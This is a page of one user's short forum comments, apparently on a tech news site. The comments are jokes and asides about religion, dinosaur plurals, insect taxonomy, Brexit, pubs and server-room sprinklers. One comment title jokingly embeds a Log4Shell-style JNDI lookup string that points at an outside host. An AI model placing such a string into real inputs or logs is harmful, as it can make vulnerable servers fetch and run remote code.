Posts by Rich 11

Re: Trust

than Google et al who would sell have sold their own grandmothers for profit

FTFY.

Re: Total Point Avoider - What Would -X- Do?

Neither am I the Son of God blessed with great wisdom

In fairness I don't think the Son of God frequently expressed much in the way of wisdom. Cursing a fig tree for not growing figs out of season isn't very wise. No wonder each of the gospel authors felt the need to present it differently, to try to write some sense into it.

Re: end-to-end encryption

I dunno. Perhaps the monocle has a reticule.

** Pedantic interlude alert **

Just to play the pedant (I think it's my turn again)...

Bugs belong to the order Hemiptera, not Diptera (that's flies and mosquitos).

Re: Little Bobby Tables' younger brother, Stephen ${jndi:ldap://p0w.nd/sploit}

Why would you ever want to do an ldap lookup as part of your log message template?

So that the sales droids can impress the pointy-headed buyers. "Look at how we enable logging customisation with all these cool features. As you know, big data is the lifeblood of the modern organisation and we let you gather the information that one of your code monkeys can mine for trends and that you can use to show the CTO how much you deserve a bonus. Thank you. Sign right here."

Re: Plural of Brontosaurus

dinosaurs are formed from Greek and Latin stems

And there was me thinking they were a clade of archeosaurs.

Anyway, if their names can have any plural form, I submit that the plural of brontosaurus is brontopodes. Surely the '-us' is all that needs to be taken into account.

Quod erat, er whatever!

That would be 'quod erant...'

Re: Disappointing

but it doesn't take very many of them ignoring your correct points and not caring about your jokes while making it clear that they are putting others at risk to make the exercise a lot more frustrating.

It's worth remembering that while it may be frustrating trying to reason with people who are already too far gone down the rabbit hole, your words may well be effective with the casual reader you never see, the one who is still on the fence or wavering in their views.

Re: Negotiating...

Most inside observers also warned about it, but since when has feedback from experts ever troubled Brexiteers?

Eventually the person involved left the centre to start up an online retail outlet that was not computer related.

Did they call it Buttr?

Re: A 90 year old in space you say

He'll have to retire to the Neutral Zone.

Re: Testing 1 2 3

{insert disaster wiping out everything in the area}

The riot after losing the under-16s county rugby final. Again.

Did they charge extra?

Re: Keyboard Please!

re-enters the normal space-time continuum as a a lid

The majority of Feynmann diagrams require the absorption and re-emission of a biro to enable this transformation to occur.

Re: persecution

If the person who gave me a thumbs down for my last comment should ever come back here and read this, would you mind letting me know why you didn't like my observation, please? Do you perhaps think that no-one has ever made that claim as I stated it and that I am, at best, mistaken, or do you maybe think that it is wrong to experience even some small degree of amusement when faced with a person's restricted knowledge and subsequent reasoning? I am genuinely curious. I do find the various responses to criticisms, implicit or explicit, of cherished beliefs and traditions fascinating and I wish to learn more. Thank you.

Re: Blind Faith anyone?

Did they draw the line at the Sabbath Bloody Sabbath cover?

Re: Notable absence

Him? Oh, he won a last-minute Xmas holiday to Kīlauea last December. The real puzzler was how the winning lottery ticket got into his pocket a week before the eruption started.

Early doors

Back in the time before all-day opening, I turned up at my local pub just before 7pm to find a fight already in progress in the car park. The landlord and his son were unloading the car after a visit to the cash and carry (don't ask!) when one of the regulars insisted on grabbing a bottle from the boot and opening it there and then. The son hadn't even got the key in the door before his dad and the eternally-thirsty regular were trading punches.

Re: The old demonstration of if only

What is this "Excel" of which you speak? Does thou not grasp the concept of electrickery calculators and/or log tables? Even Newton's approximation?

Re: Storage

especially since land parcels large enough for their safe use are disappearing as any free land is converted into housing.

You have a truly limited grasp of reality. I'd tell you where and when I first fired a shotgun but you'd deny such a thing could ever happen.

Re: Power supply on the floor?

Age will do that. ;-)

Given that the Russian military and semi-military forces are infamous for the degree of bullying and abuse that takes place amongst their ranks, to which the officers turn a blind eye, it may be that one of the safer postings is a remote Arctic border with only a dozen fellow soldiers to deal with rather than in a major army base with a dozen battalions competing over original ways to break in fresh conscripts.

Re: Two questions

Why have you got sprinklers in a server room?

It was a ground-breaking design experiment. Who knows what exciting new physics might have been discovered in future years?

The case for the defence rests, m'lud.

I wonder what's next....

Some form of Covid denialism, I expect.

All of the Hawaiian islands were made by the same magma bloom. When it breaches the crust it builds a new undersea island (and possibly eventually a surface island), then when it subsides the plate movement above it ensures that the current islands are out of the way in time for when it rises again and a new island can be formed.

Re: Veni, vidi, vici

I've already registered "Cacata inutilia bastardis" for Chequers.